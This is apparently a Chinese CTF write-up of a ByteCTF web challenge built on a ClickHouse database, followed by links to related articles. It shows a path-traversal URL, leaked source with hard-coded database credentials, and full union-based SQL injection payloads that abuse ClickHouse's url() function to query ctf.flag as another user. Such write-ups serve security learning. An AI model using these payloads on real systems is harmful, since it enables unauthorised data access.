摘要:我们会在文档里找到函数借此来进行切换用户构造最终假设库中有即目录遍历函数
题目啥都没说
在判断注入点是发现提示
something in files
猜测目录文件里有东西,我们尝试进入files
39.105.175.150:30001/files/
直接这样的话我们只能发现一个图片,经过尝试发现
http://39.105.175.150:30001/files../
这样可以实现路径穿越
经查找发现main.py源码,download下来
app = Flask(__name__)client = clickhouse_driver.Client(host='127.0.0.1', port='9000', database='default', user='user_02', password='e4649b934ca495991b78')@app.route('/')def cttttf(): id = request.args.get('id',0) sql = 'select ByteCTF from hello where 1={} '.format(id) try: a = client.execute(sql) except Exception as e: return str(e) if len(a) == 0: return 'something in files' else: return str(a)[3:-4]if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=80)
里面有个user用户和密码,推测需要在哪出要进行用户认证
然后在clickhouse里发现url函数
https://clickhouse.com/docs/zh/sql-reference/table-functions/url/
示例
获取一个表的前3行,该表是从HTTP服务器获取的包含 String
和 UInt32 类型的列,以CSV格式返回
SELECT * FROM url('http://127.0.0.1:12345/', CSV, 'column1 String, column2 UInt32') LIMIT 3;
将 URL
的数据插入到表中
CREATE TABLE test_table (column1 String, column2 UInt32) ENGINE=Memory;INSERT INTO FUNCTION url('http://127.0.0.1:8123/?query=INSERT+INTO+test_table+FORMAT+CSV', 'CSV', 'column1 String, column2 UInt32') VALUES ('http interface', 42);SELECT * FROM test_table;
结合之前拿到的user身份,我们可以用这个url函数
至于flag在哪个位置,还没找到环境就关了
在已知flag在ctf.flag的情况下我们继续
空格用/**/过滤
id=1 union//all select * FROM url('http://localhost:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=SELECT//*//from//ctf.flag’, CSV, ‘column1 String’) LIMIT 1
含义:查询ctf.flag的所有数据,并且获取其第一行,以CSV格式返回,就会出来flag
但我复现的时候main.py里的是user_02,不知道是啥情况,
user_02
e4649b934ca495991b78
id=1 union//all select * FROM url('http://localhost:8123/?user=user_02%26password=e4649b934ca495991b78%26query=SELECT//*//from//ctf.flag’, CSV, ‘column1 String’) LIMIT 1
看完wp后发现没我想的这麽简单
首先尝试找注入点发现错报,然后会发现一个名为clickhouse的数据库
然后去clickhouse的官方文档会发现默认数据库system
?id=1%20union%20all%20select%20name%20from%20system.databases
会发现有个名为ctf的数据库,接着我们查看表会发现有个hint的表,于是hint表在ctf库里面
但尝试读取ctf.hint发现没有限权
之后通过目录遍历漏洞在两个.sql文件后发现user_01
提示user_01有访问ctf库的限权,所以我们才会使用user_01的账户密码,之前复现的时候只找到了user_02的密码属实麻了
之后
就要考虑如何切换user_01的账户,就和之前复现的一样。我们会在文档里找到url函数,借此来进行切换用户
https://clickhouse.com/docs/zh/sql-reference/table-functions/url/
CREATE TABLE test_table (column1 String, column2 UInt32) ENGINE=Memory;INSERT INTO FUNCTION url('http://127.0.0.1:8123/?query=INSERT+INTO+test_table+FORMAT+CSV', 'CSV', 'column1 String, column2 UInt32') VALUES ('http interface', 42);SELECT * FROM test_table;
构造最终payload,假设ctf库中有flag,即ctf.flag
?id=1 union/**/all select * FROM url('http://localhost:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=SELECT/**/*/**/from/**/ctf.flag', CSV, 'column1 String')
#目录遍历
#url函数
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/124426.html
文章目录 MISC真签到YUSA的小秘密Yusa的秘密 WEB灏妹的web MISC 真签到 DASCTF{welc0m3_t0_9C51s_2021} YUSA的小秘密 使用Stegsolve打开调整通道可以发现藏有flag;但是被干扰倒是无法看清 搜索引擎查阅资料发现题目这里指的是一种叫YCrCb颜色编码模型 参考[ByteCTF2020]Hardcore Watermark 0...
摘要:目录二次注入攻击二次注入代码分析二次注入攻击二次注入攻击的测试地址和。图插入到数据库中的数据在二次注入中中的代码如下所示。 目录 2.5 二次注入攻击2.6 二次...
摘要:这里就直接来用查找文件,用的命令筛选一下,先查看下压缩包有一个。 2021西湖论剑网络安全大赛Writeup 我只写了自己做的部分,完整WP请访问:https://...
摘要:年月日,在国庆节到来之前的周日,我们开展了战队的第二次会议,在第一次到第二次会议开展之间,又有几个小伙伴加入了我们。第二次会议,仍然是在网络中心的会议室内召开,不过与会的人员除了第一次的几位小伙伴,还有一些新加入的成员。 2021年9月26日,在国庆节到来之前的周日,我们开展...
摘要:文章目录保存下载页面后在中发现一个函数把内容拿出来放到控制台直接执行没 文章目录 WebEasyPHPfunny_gameadminloginSellSystem...
阅读 426·2023-04-25 19:43
阅读 3621·2021-11-30 14:52
阅读 3414·2021-11-30 14:52
阅读 3347·2021-11-30 14:49
阅读 3275·2021-11-30 14:49
阅读 3520·2021-11-29 11:00
阅读 3487·2021-11-29 11:00
阅读 3518·2021-11-29 11:00